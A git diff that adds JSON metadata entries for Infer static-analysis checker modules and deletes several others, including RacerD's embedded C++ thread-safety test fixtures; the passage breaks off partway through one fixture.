Tool/infer/Rule formation/checkers/pulse/PulseSummary.json new file mode 100644 index 0000000..0f549e6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSummary.json @@ -0,0 +1,13 @@ +{ + "name": "PulseSummary", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 344, + "branches": 30, + "apis": 80, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintConfig.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintConfig.json new file mode 100644 index 0000000..8185638 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintConfig.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTaintConfig", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 585, + "branches": 24, + "apis": 93, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItem.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItem.json new file mode 100644 index 0000000..e05ac6e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItem.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTaintItem", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 130, + "branches": 13, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItemMatcher.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItemMatcher.json new file mode 100644 index 0000000..b1c5771 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintItemMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTaintItemMatcher", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 515, + "branches": 54, + "apis": 85, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintOperations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintOperations.json new file mode 100644 index 0000000..c7ad7bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTaintOperations.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTaintOperations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 803, + "branches": 75, + "apis": 142, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTimestamp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTimestamp.json new file mode 100644 index 0000000..3a63d65 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTimestamp.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTimestamp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 20, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTopl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTopl.json new file mode 100644 index 0000000..1feeaa4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTopl.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTopl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1072, + "branches": 124, + "apis": 297, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTrace.json new file mode 100644 index 0000000..28e5b54 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTrace.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 189, + "branches": 26, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveAccessChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveAccessChecker.json new file mode 100644 index 0000000..8ec5c3c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveAccessChecker.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTransitiveAccessChecker", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 235, + "branches": 21, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveInfo.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveInfo.json new file mode 100644 index 0000000..5ba38aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseTransitiveInfo.json @@ -0,0 +1,13 @@ +{ + "name": "PulseTransitiveInfo", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 139, + "branches": 7, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseUninitBlocklist.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseUninitBlocklist.json new file mode 100644 index 0000000..1075316 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseUninitBlocklist.json @@ -0,0 +1,13 @@ +{ + "name": "PulseUninitBlocklist", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueHistory.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueHistory.json new file mode 100644 index 0000000..c7c9637 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueHistory.json @@ -0,0 +1,13 @@ +{ + "name": "PulseValueHistory", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 413, + "branches": 39, + "apis": 111, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueOrigin.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueOrigin.json new file mode 100644 index 0000000..57ab469 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseValueOrigin.json @@ -0,0 +1,13 @@ +{ + "name": "PulseValueOrigin", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 62, + "branches": 6, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/QSafeCapped.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/QSafeCapped.json new file mode 100644 index 0000000..973473e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/QSafeCapped.json @@ -0,0 +1,13 @@ +{ + "name": "QSafeCapped", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 31, + "branches": 5, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/ZSafe.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/ZSafe.json new file mode 100644 index 0000000..8013a81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/ZSafe.json @@ -0,0 +1,13 @@ +{ + "name": "ZSafe", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 32, + "branches": 2, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/FFI.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/FFI.json new file mode 100644 index 0000000..8f4467f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/FFI.json @@ -0,0 +1,13 @@ +{ + "name": "FFI", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 388, + "branches": 37, + "apis": 63, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR.json new file mode 100644 index 0000000..8c0498b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR.json @@ -0,0 +1,13 @@ +{ + "name": "PyIR", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 2851, + "branches": 166, + "apis": 574, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR2Textual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR2Textual.json new file mode 100644 index 0000000..a9ecbaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIR2Textual.json @@ -0,0 +1,13 @@ +{ + "name": "PyIR2Textual", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 577, + "branches": 26, + "apis": 80, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRExec.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRExec.json new file mode 100644 index 0000000..fa08d2d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRExec.json @@ -0,0 +1,13 @@ +{ + "name": "PyIRExec", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 420, + "branches": 22, + "apis": 74, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRTypeInference.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRTypeInference.json new file mode 100644 index 0000000..7273ec0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/python/PyIRTypeInference.json @@ -0,0 +1,13 @@ +{ + "name": "PyIRTypeInference", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 211, + "branches": 29, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/scripts/checkCopyright.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/scripts/checkCopyright.json new file mode 100644 index 0000000..fd9b415 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/scripts/checkCopyright.json @@ -0,0 +1,13 @@ +{ + "name": "checkCopyright", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 296, + "branches": 43, + "apis": 77, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontend.json new file mode 100644 index 0000000..39c5246 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontend.json @@ -0,0 +1,13 @@ +{ + "name": "LlvmSledgeFrontend", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1857, + "branches": 151, + "apis": 477, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontendStubs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontendStubs.json new file mode 100644 index 0000000..7148c2e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontendStubs.json @@ -0,0 +1,13 @@ +{ + "name": "LlvmSledgeFrontendStubs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 11, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/LineMap.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/LineMap.json new file mode 100644 index 0000000..850a7b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/LineMap.json @@ -0,0 +1,13 @@ +{ + "name": "LineMap", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 41, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/Textual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/Textual.json new file mode 100644 index 0000000..f4a0556 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/Textual.json @@ -0,0 +1,13 @@ +{ + "name": "Textual", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 875, + "branches": 61, + "apis": 134, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualBasicVerification.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualBasicVerification.json new file mode 100644 index 0000000..1918a1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualBasicVerification.json @@ -0,0 +1,13 @@ +{ + "name": "TextualBasicVerification", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 251, + "branches": 43, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualDecls.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualDecls.json new file mode 100644 index 0000000..83326df --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualDecls.json @@ -0,0 +1,13 @@ +{ + "name": "TextualDecls", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 383, + "branches": 37, + "apis": 79, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualLexer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualLexer.json new file mode 100644 index 0000000..0db847f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualLexer.json @@ -0,0 +1,13 @@ +{ + "name": "TextualLexer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 160, + "branches": 10, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualParser.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualParser.json new file mode 100644 index 0000000..e391917 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualParser.json @@ -0,0 +1,13 @@ +{ + "name": "TextualParser", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 130, + "branches": 12, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualSil.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualSil.json new file mode 100644 index 0000000..2614230 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualSil.json @@ -0,0 +1,13 @@ +{ + "name": "TextualSil", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1277, + "branches": 114, + "apis": 243, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTransform.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTransform.json new file mode 100644 index 0000000..8d8bdca --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTransform.json @@ -0,0 +1,13 @@ +{ + "name": "TextualTransform", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1027, + "branches": 79, + "apis": 229, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTypeVerification.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTypeVerification.json new file mode 100644 index 0000000..42387c1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTypeVerification.json @@ -0,0 +1,13 @@ +{ + "name": "TextualTypeVerification", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 777, + "branches": 67, + "apis": 168, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualVerification.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualVerification.json new file mode 100644 index 0000000..9041e1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualVerification.json @@ -0,0 +1,13 @@ +{ + "name": "TextualVerification", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 58, + "branches": 6, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/DataFlowQuery.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/DataFlowQuery.json new file mode 100644 index 0000000..b8b897e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/DataFlowQuery.json @@ -0,0 +1,13 @@ +{ + "name": "DataFlowQuery", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 371, + "branches": 30, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json index 72ba40c..66db281 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json @@ -1,11 +1,7 @@ { "name": "Topl", - "language": [ - "clang", - "java", - "erlang" - ], - "description": "Detect errors based on user-provided state machines describing temporal properties over \\\n multiple objects.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAstOps.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAstOps.json new file mode 100644 index 0000000..99534be --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAstOps.json @@ -0,0 +1,13 @@ +{ + "name": "ToplAstOps", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 86, + "branches": 11, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAutomaton.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAutomaton.json new file mode 100644 index 0000000..49a3e6f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAutomaton.json @@ -0,0 +1,13 @@ +{ + "name": "ToplAutomaton", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 167, + "branches": 9, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json deleted file mode 100644 index a3d03f7..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "FragmentRetainsView", - "language": [ - "java" - ], - "description": "Detects when Android fragments are not explicitly nullified before becoming unreachable.", - "example": null, - "cwe": null, - "cwe-description": null, - "checker-language": "OCaml", - "loc": 0, - "branches": 0, - "apis": 0, - "test": [] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json deleted file mode 100644 index 92b19f8..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "LithoRequiredProps", - "language": [ - "java" - ], - "description": "Checks that all non-optional `@Prop`s have been specified when constructing Litho \\\n components.", - "example": null, - "cwe": null, - "cwe-description": null, - "checker-language": "OCaml", - "loc": 0, - "branches": 0, - "apis": 0, - "test": [] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json deleted file mode 100644 index 86ecb22..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "name": "LoopHoisting", - "language": [ - "clang", - "java" - ], - "description": "Detect opportunities to hoist function calls that are invariant outside of loop bodies \\\n for efficiency.", - "example": null, - "cwe": null, - "cwe-description": null, - "checker-language": "OCaml", - "loc": 0, - "branches": 0, - "apis": 0, - "test": [] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json deleted file mode 100644 index b0c6525..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json +++ /dev/null @@ -1,263 +0,0 @@ -{ - "name": "RacerD", - "language": [ - "clang", - "java" - ], - "description": "Thread safety analysis.", - "example": null, - "cwe": null, - "cwe-description": null, - "checker-language": "OCaml", - "loc": 0, - "branches": 0, - "apis": 0, - "test": [ - { - "testname": "basics.cpp", - "testlanguage": "c++", - "expected-problems": 36, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass Basic {\n public:\n Basic() {}\n\n void set_not_guarded_ok(int new_value) { not_guarded = new_value; }\n\n int get_not_guarded_ok() { return not_guarded; }\n\n void set_well_guarded_ok(int new_value) {\n mutex_.lock();\n well_guarded = new_value;\n mutex_.unlock();\n }\n\n int get_well_guarded_ok() {\n int result;\n mutex_.lock();\n result = well_guarded;\n mutex_.unlock();\n return result;\n }\n\n void set_suspiciously_read_bad(int new_value) {\n mutex_.lock();\n suspiciously_read = new_value;\n mutex_.unlock();\n }\n\n int get_suspiciously_read_bad() { return suspiciously_read; }\n\n void set_suspiciously_written_ok(int new_value) {\n mutex_.lock();\n mutex_.unlock();\n suspiciously_written = new_value;\n }\n\n int get_suspiciously_written_ok() {\n int result;\n mutex_.lock();\n result = suspiciously_written;\n mutex_.unlock();\n return result;\n }\n\n void write_array_under_lock_ok(char* arr1) {\n mutex_.lock();\n arr1[2] = 'c';\n mutex_.unlock();\n }\n\n int read_array_outside_lock_ok(char* arr2, int i) { return arr2[i]; }\n\n void set_double_lock_guarded_ok(int new_value) {\n mutex_.lock();\n mutex_2.lock();\n double_lock_guarded = new_value;\n mutex_2.unlock();\n mutex_.unlock();\n }\n\n int read_double_lock_guarded_ok() {\n int result;\n mutex_2.lock();\n result = double_lock_guarded;\n mutex_2.unlock();\n return result;\n }\n\n void set_double_suspiciously_read_bad(int new_value) {\n mutex_.lock();\n mutex_2.lock();\n single_lock_suspiciously_read = new_value;\n mutex_2.unlock();\n mutex_.unlock();\n }\n\n int read_double_suspiciously_read_bad() {\n return single_lock_suspiciously_read;\n }\n\n private:\n int well_guarded;\n int suspiciously_read;\n int suspiciously_written;\n int not_guarded;\n int double_lock_guarded;\n int single_lock_suspiciously_read;\n std::mutex mutex_;\n std::mutex mutex_2;\n\n int get_private_suspiciously_read_ok() { return suspiciously_read; }\n};\n} // namespace basics\n" - }, - { - "testname": "basics_no_mutex.cpp", - "testlanguage": "c++", - "expected-problems": 8, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace basics {\n\nclass BasicsNoMutex {\n public:\n BasicsNoMutex() {}\n\n void set_ok(int new_value) {\n field_1 = new_value;\n field_2 = new_value;\n }\n\n int get_field1_ok() { return field_1; }\n\n private:\n int field_1;\n int field_2;\n};\n} // namespace basics\n" - }, - { - "testname": "conditional.cpp", - "testlanguage": "c++", - "expected-problems": 9, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Conditional {\n public:\n Conditional() {}\n\n int get_x() { return x; }\n\n bool owns() {\n // temporary is properly destroyed and lock released\n return std::unique_lock(mutex_).owns_lock();\n }\n\n void run_ok() {\n if (owns()) {\n }\n\n x = 0;\n }\n\n int get_y() { return y; }\n\n void run_FP() {\n // temporary not destroyed, so lock stays acquired at store to [x]\n if (std::unique_lock(mutex_).owns_lock()) {\n }\n\n y = 0;\n }\n\n private:\n int x;\n int y;\n std::mutex mutex_;\n};\n" - }, - { - "testname": "constructor_formals.cpp", - "testlanguage": "c++", - "expected-problems": 6, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace constructor_formals {\nclass Basic {\n public:\n // there can be a race here between the initializer read and the set function\n // below\n Basic(Basic& other) : field_(other.field_) {}\n\n void FN_set_under_lock_bad(int value) {\n mutex_.lock();\n field_ = value;\n mutex_.unlock();\n }\n\n private:\n std::mutex mutex_;\n int field_;\n};\n} // namespace constructor_formals\n" - }, - { - "testname": "containers.cpp", - "testlanguage": "c++", - "expected-problems": 9, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nnamespace containers {\n\nstruct A {\n int value;\n};\n\nstruct B {\n\n void FN_write_container_bad(int key, int value) {\n mutex_.lock();\n map[key].value = value;\n mutex_.unlock();\n }\n\n int FN_get_bad(int key) { return map[key].value; }\n\n int FN_size_bad() { return map.size(); }\n\n private:\n std::map map;\n std::mutex mutex_;\n};\n} // namespace containers\n" - }, - { - "testname": "dereferencing.cpp", - "testlanguage": "c++", - "expected-problems": 35, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace dereferencing {\n\nstruct B {\n int c;\n};\n\nstruct A {\n B b;\n};\n\nstruct X {\n int w;\n int u;\n X* x1;\n X** x2;\n A a;\n};\n\nclass Basic {\n public:\n Basic() {}\n\n void FN_pointer_deref_bad(int b) {\n if (b) {\n pointer_deref(&p);\n } else {\n mutex_.lock();\n pointer_deref(&p);\n mutex_.unlock();\n }\n }\n\n void pointer_arith_ok(int b) {\n if (b) {\n pointer_arith(&q);\n } else {\n mutex_.lock();\n pointer_arith(&q);\n mutex_.unlock();\n }\n }\n\n void value_ok(int b) {\n if (b) {\n value(h);\n } else {\n mutex_.lock();\n value(h);\n mutex_.unlock();\n }\n }\n\n void FN_field_bad(int b) {\n if (b) {\n field(g);\n } else {\n mutex_.lock();\n field(g);\n mutex_.unlock();\n }\n }\n\n void deref_w_bad(int b) {\n if (b) {\n deref_w(x);\n } else {\n mutex_.lock();\n deref_w(x);\n mutex_.unlock();\n }\n }\n\n void deref_u_bad(int b) {\n if (b) {\n deref_u(x);\n } else {\n mutex_.lock();\n deref_u(x);\n mutex_.unlock();\n }\n }\n\n void deref_abc_bad(int b) {\n if (b) {\n deref_abc(x);\n } else {\n mutex_.lock();\n deref_abc(x);\n mutex_.unlock();\n }\n 